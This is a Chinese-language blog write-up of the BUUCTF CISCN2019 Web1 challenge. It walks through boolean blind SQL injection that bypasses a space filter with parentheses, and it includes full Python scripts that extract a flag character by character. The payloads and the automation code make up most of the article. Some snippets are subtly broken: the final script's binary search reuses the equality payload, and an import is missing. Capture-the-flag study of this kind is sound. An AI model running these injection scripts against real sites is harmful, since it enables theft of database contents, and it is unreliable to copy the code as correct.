news 2026/5/26 11:47:50

手把手教你用Python脚本搞定BUUCTF的CISCN2019 Web1盲注题(附完整代码)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
手把手教你用Python脚本搞定BUUCTF的CISCN2019 Web1盲注题(附完整代码)

手把手教你用Python脚本高效破解BUUCTF盲注题

在CTF竞赛中,SQL注入一直是Web安全方向的高频考点。面对复杂的过滤机制和盲注环境,如何快速编写自动化脚本成为解题关键。本文将以CISCN2019华北赛区Web1题目为例,从手工测试到脚本编写,详细拆解盲注题的完整破解流程。

1. 理解题目与手工测试

首先访问题目环境,发现是一个简单的查询接口,通过POST传递id参数。手工测试几个常见注入字符后,页面返回"Length=482"的提示,说明存在过滤机制。

常见被过滤字符测试结果:

输入字符返回结果结论
空格Length=482被过滤
单引号Length=482被过滤
双引号正常返回未被过滤
andLength=482被过滤
orLength=482被过滤
注释符Length=482被过滤

通过测试发现,几乎所有SQL注入常用字符都被过滤,但括号()可以正常使用。这提示我们可以用括号替代空格构造payload。

2. 盲注原理与绕过技巧

在传统SQL注入中,空格是分隔关键词的重要字符。当空格被过滤时,可以考虑以下替代方案:

  • 使用括号包裹语句:(select(flag)from(flag))
  • 使用注释内联:/*!select*/flag/*!from*/flag
  • 使用换行符或制表符

在本题目中,括号是最有效的绕过方式。盲注的核心原理是通过布尔条件判断,逐步推断出flag的每个字符。

盲注payload结构示例:

id=(select(ascii(mid(flag,1,1))=102)from(flag))

这个payload的意思是:判断flag字段第一个字符的ASCII码是否等于102(即字母'f')。

3. Python自动化脚本编写

手工测试确认注入点后,接下来编写自动化脚本。我们将使用Python的requests库实现自动化请求。

3.1 基础脚本框架

首先搭建脚本的基本结构:

import requests import string def blind_injection(url): flag = '' chars = string.printable # 所有可打印字符 for position in range(1, 60): # 假设flag长度不超过60 for char in chars: payload = construct_payload(position, char) if test_char(url, payload): flag += char print(f"Found: {flag}") break return flag if __name__ == '__main__': target_url = 'http://example.com/index.php' flag = blind_injection(target_url) print(f"Final flag: {flag}")

3.2 构造payload函数

根据题目特点,我们需要构造使用括号绕过的payload:

def construct_payload(position, char): ascii_val = ord(char) return f"(select(ascii(mid(flag,{position},1))={ascii_val})from(flag))"

3.3 字符测试函数

通过观察发现,当条件为真时页面返回"Hello",否则返回其他内容:

def test_char(url, payload): data = {"id": payload} response = requests.post(url, data=data) return 'Hello' in response.text

4. 脚本优化与加速

基础脚本虽然可用,但效率较低。我们可以从以下几个方面进行优化:

4.1 缩小字符范围

根据CTF flag格式通常以"flag{"开头,我们可以优先测试这些字符:

def get_char_priority(position): if position == 1: return 'f' if position == 2: return 'l' if position == 3: return 'a' if position == 4: return 'g' if position == 5: return '{' return string.printable

4.2 多线程加速

使用多线程可以显著提高爆破速度:

from concurrent.futures import ThreadPoolExecutor def test_char_parallel(url, position, chars): with ThreadPoolExecutor(max_workers=10) as executor: futures = [] for char in chars: payload = construct_payload(position, char) futures.append(executor.submit(test_char, url, payload)) for future in as_completed(futures): if future.result(): return char return None

4.3 二分查找优化

对于每个位置,可以使用二分查找代替线性搜索:

def find_char_binary(url, position): low, high = 32, 126 # 可打印ASCII范围 while low <= high: mid = (low + high) // 2 payload = f"(select(ascii(mid(flag,{position},1))>{mid})from(flag))" if test_char(url, payload): low = mid + 1 else: high = mid - 1 return chr(low)

5. 完整优化脚本

结合以上优化点,最终的完整脚本如下:

import requests import string from concurrent.futures import ThreadPoolExecutor, as_completed def construct_payload(position, char=None, ascii_val=None): if char: ascii_val = ord(char) return f"(select(ascii(mid(flag,{position},1))={ascii_val})from(flag))" def test_char(url, payload): try: data = {"id": payload} response = requests.post(url, data=data, timeout=5) return 'Hello' in response.text except: return False def get_char_priority(position): if position == 1: return ['f'] if position == 2: return ['l'] if position == 3: return ['a'] if position == 4: return ['g'] if position == 5: return ['{'] return string.printable def blind_injection_optimized(url): flag = '' for position in range(1, 60): # 优先测试常见字符 priority_chars = get_char_priority(position) found = False for char in priority_chars: payload = construct_payload(position, char) if test_char(url, payload): flag += char print(f"Position {position}: {char} -> {flag}") found = True break if not found: # 使用二分查找 low, high = 32, 126 while low <= high: mid = (low + high) // 2 payload = construct_payload(position, ascii_val=mid) if test_char(url, payload): low = mid + 1 else: high = mid - 1 if low >= 32 and low <= 126: flag += chr(low) print(f"Position {position}: {chr(low)} -> {flag}") else: print(f"Failed at position {position}") break if flag.endswith('}'): break return flag if __name__ == '__main__': target_url = 'http://example.com/index.php' flag = blind_injection_optimized(target_url) print(f"Flag found: {flag}")

6. 常见问题与调试技巧

在实际操作中,可能会遇到各种问题。以下是几个常见问题及解决方法:

问题1:请求超时或无响应

  • 增加超时设置:requests.post(url, timeout=10)
  • 添加重试机制:
from tenacity import retry, stop_after_attempt @retry(stop=stop_after_attempt(3)) def test_char_retry(url, payload): return test_char(url, payload)

问题2:过滤规则变化

  • 动态测试过滤字符:
def test_filter(url, char): payload = f"1{char}1" data = {"id": payload} response = requests.post(url, data=data) return "Length=482" not in response.text

问题3:结果不稳定

  • 添加结果验证:
def verify_char(url, position, char): payload1 = construct_payload(position, char) payload2 = construct_payload(position, ascii_val=ord(char)+1) return test_char(url, payload1) and not test_char(url, payload2)

7. 扩展应用与思路

掌握盲注脚本编写技巧后,可以应用于更多场景:

  1. 时间盲注:当没有明显布尔回显时,通过响应时间判断
def test_time_based(url, payload): start = time.time() requests.post(url, data={"id": payload}) return time.time() - start > 2 # 假设延迟2秒为真
  1. 多条件组合:处理更复杂的过滤规则
def bypass_and_filter(condition): return f"((1){condition})" # 用数学运算绕过AND过滤
  1. 自动化工具集成:将脚本集成到sqlmap等工具中

在实际CTF比赛中,建议先手工测试确认注入点和过滤规则,再编写针对性脚本。同时注意题目可能有非预期解,保持灵活思维很重要。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/26 11:47:25

校园网不用反复认证!教你轻松实现自动联网

人若有志&#xff0c;万事可为。 软件工程大三学生——Liujian 既然标题都说简单了&#xff0c;那我就简单的说说吧 前言 当我们访问使用某个Web认证热点访问某个HTTP网站&#xff0c;网关会对这个HTTP响应报文劫持并纂改302重定向给我们一个web认证界面。网关&#xff08;或…

作者头像 李华
网站建设 2026/5/26 11:45:27

终极指南:3分钟免费配置LXMusic音源,畅享全网音乐

终极指南&#xff1a;3分钟免费配置LXMusic音源&#xff0c;畅享全网音乐 【免费下载链接】LXMusic音源 lxmusic&#xff08;洛雪音乐&#xff09;全网最新最全音源 项目地址: https://gitcode.com/guoyue2010/lxmusic- 想要在一个软件里听遍全网音乐吗&#xff1f;LXMu…

作者头像 李华
网站建设 2026/5/26 11:45:24

Windows平台ELK栈部署实战:从零到一构建Kibana数据可视化门户

1. 为什么要在Windows上部署ELK栈&#xff1f; 很多运维工程师和开发者可能都有这样的疑问&#xff1a;为什么要在Windows上部署ELK栈&#xff1f;毕竟Linux才是ELK栈的传统运行环境。但现实情况是&#xff0c;很多企业的服务器环境仍然是Windows主导&#xff0c;特别是那些历史…

作者头像 李华
网站建设 2026/5/26 11:44:41

自制低成本硬件安全分析平台:从原理到实战的故障注入攻击指南

1. 项目概述&#xff1a;一个低成本的非侵入式攻击与调试平台在嵌入式安全和硬件安全研究领域&#xff0c;对微控制器&#xff08;MCU&#xff09;和智能卡进行安全评估是一项核心技能。专业的分析工具&#xff0c;如基于FPGA的ChipWhisperer&#xff0c;功能强大但价格昂贵&am…

作者头像 李华
网站建设 2026/5/26 11:44:19

手把手教你用Chrome DevTools逆向虎牙直播源JS加密(附完整代码)

深入解析浏览器开发者工具在直播源逆向分析中的应用直播平台的视频流地址往往经过复杂的加密处理&#xff0c;这给开发者带来了不小的挑战。本文将详细介绍如何利用Chrome DevTools这一强大工具&#xff0c;逐步拆解直播源地址的生成逻辑&#xff0c;掌握前端逆向工程的核心方法…

作者头像 李华